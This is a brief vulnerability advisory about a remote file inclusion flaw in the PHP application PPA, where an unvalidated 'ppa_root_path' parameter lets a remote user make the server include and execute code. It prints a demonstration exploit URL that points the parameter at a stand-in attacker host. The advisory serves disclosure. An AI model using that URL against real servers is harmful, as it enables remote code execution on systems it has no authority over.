Description: V4mu from Anomaly 1n The System reported a vulnerability in PPA. A remote user can execute arbitrary commands on the target system.
The 'inc/functions.inc.php' script includes the 'inc/config.inc.php' file relative to the user-supplied 'ppa_root_path' parameter
without properly validating the input. A remote user can supply a specially crafted URL to cause the target system to include and
execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges
of the target web service.
A demonstration exploit URL is provided:
http://[path-to-ppa]/inc/functions.inc.php?config[ppa_root_path]=http://[attacker]
|
Impact: A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.

Solution: No solution was available at the time of this entry.
